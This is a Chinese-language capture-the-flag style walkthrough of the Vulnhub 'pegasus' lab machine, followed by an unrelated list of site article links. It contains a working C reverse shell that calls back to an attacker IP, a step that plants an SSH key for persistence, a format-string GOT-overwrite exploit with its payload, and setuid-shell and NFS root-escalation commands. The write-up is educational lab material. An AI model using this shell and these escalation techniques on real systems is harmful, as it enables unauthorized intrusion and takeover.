【Vulnhub】pegasus
扫描端口,web 服务开在了 8088
访问啥都没有,扫描一下目录试试
/submit.php
/codereview.php
他是向 submit.php 发送代码的
他说他会去执行代码,但是我只试了 php 的,wp 说是 C 语言的,找了个 C 语言的 shell
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
int tcp_port = 6666;
char *ip = "192.168.149.1";
void reverse_shell(){
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return;
}
void main(int argc, char const *argv[])
{
reverse_shell();
return 0;
}
来自这里:
https://www.mi1k7ea.com/2019/03/24/C%E7%BC%96%E5%86%99%E5%AE%9E%E7%8E%B0Linux%E5%8F%8D%E5%BC%B9shell/
连上来了
把 wsl 的公钥写到 .ssh/authorized_keys 方便一点
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNZ8DG1O2XEkB3Z4M03qO08QjHKCVVxfy/6emzyKWMO+p1bf0+E+s9SzPWCTYmZ/lfsudWe9QcNTEKRluONKMr1tC/8bE/ornr2pm8b/nNZsmfKme18Qohz2JFgMk/GLYECTWDX10fnl1a2RzSBKpUZB7CASurQLcPiP93aevHFLmDT+0jkecB9Skw7fjwTvAJLyWpDbDH0pKyd1RqtdctwYxABkxlUzh613M8ypk1++E3I8baCY4g460yUExd4aw13IeDTcBMtkBDwJaiNiT7niZD04Hz4bckt+gKwJ64FxAsGYE9GtwNbGakjKsi54EkifKsySvJdpCy3RukGu/XURXVODODzn6luK8IXlxp5BKM5dkOkMWTnfBn3N4blaAcvVQA8TUSgF7e+OHAYwio2Y0M2qcli9vKTFV5hlsWnUohI7RLg08LzkMi5eEKxHDRy32zfcBLhLDtTuwUYmnWkgB/NRBTx82WGm8H5n1VlvXb2Co3cz0Kr9sJHMR/JJ8= root@DESKTOP-SP02IB7" > authorized_keys
格式化字符串漏洞提权john
my_first 权限有 s
用 nc 把那个文件拷贝出来
IDA 打开看一下,在计算功能这里有一个格式化字符串漏洞,具体漏洞利用的知识可以去看知识库里的:
https://www.yuque.com/hxfqg9/bin/aedgn4
可以数出来,AAAA 是在第八个位置被 %p 解析
检查一下保护,没有 canary
靶机上 ASRL 是开着的
可以通过 ulimit -s unlimited 使得 ASLR 实际上没用
emmm,再搞个 peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
gdb 调试看一下,得到 system 的地址
然后通过把 printf 的 got 中的内容改成 system 的真实地址来拿到 shell
printf@got:0x8049bfc system:0x40069060
exp
from pwn import *
payload = ""
payload += "1n" # selection #1
payload += "1n" # first number
addr=0x8049bfc
payload+= p32(addr)+p32(addr+2)
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload
额,靶机没有 pwntools,稍改一下
payload = ""
payload += "1n" # selection #1
payload += "1n" # first number
addr=0x8049bfc
payload+= "xfcx9bx04x08"+"xfex9bx04x08"
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload
但实际上这样执行的是 system("Selection:")
,在本地写个 Selection:
可执行程序,由 exp.c 编译而来 gcc -o "Selection:" exp.c
#include <stdio.h>
int main()
{
system("cp /bin/sh /tmp/john");
system("chmod 4777 /tmp/john");
}
同时
export PATH=$PATH:/home/mike
不然那个 Selection:
不加 ./
没法运行的
这时候 python exp.py | ./my_first
会在 /tmp 目录下生成 john
当程序拥有 john 的 suid 权限,以 mike 身份运行程序的时候 euid 会变成 john,这个时候再去使用 setreuid 交换 ruid 和 euid,就可以真正的变成 john 用户
去运行程序
#include <stdio.h>
void main(int argc, char *argv[]) {
setreuid(geteuid(), getuid());
execv("/bin/bash", argv);
}
nfs提权root
sudo -l 发现 nfs 不用密码就可以以 root 权限执行(后面操作怕把电脑弄乱了就在虚拟机上操作了)
启动:
sudo /usr/local/sbin/nfs start
然后在攻击机上创建一个用来挂载的文件夹
mkdir /mnt/pegasus
然后挂载上
mount -t nfs -o proto=tcp,port=2049 192.168.149.183:/opt/nfs /mnt/pegasus
创建一个文件并且给他权限
touch /mnt/pegasus/hack_shell
chmod 777 /mnt/pegasus/hack_shell
回到靶机,把 /bin/dash 拷过去
cp /bin/dash /opt/nfs/hack_shell
然后在攻击机上给他权限
chmod u+s /mnt/pegasus/hack_shell
chmod g+s /mnt/pegasus/hack_shell
这样在靶机一执行,就能拿到 root 权限
- SDL的几个宽高概念讲解(文中有福利)
- [安全科普]你必须了解的session的本质
- Android中如何动态的实现设置全屏和退出全屏
- Android 双进程Service常驻后台,无惧“一键清理”
- Android之捕获TextView超链接
- 自封装Android软键盘工具类ImeUtil
- XSS挑战第一期Writeup
- 安全公司新星Aorato推出“行为防火墙”
- 倍数提高工作效率的 Android Studio 奇技
- xss如何加载远程js的一些tips
- Android中如何实现图文混排
- Jenkins 创始人:持续交付的 What、Why 及 How
- Android中如何提取和生成mp4文件
- 两张图片告诉你为什么域名会被解析到65.49.2.178
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法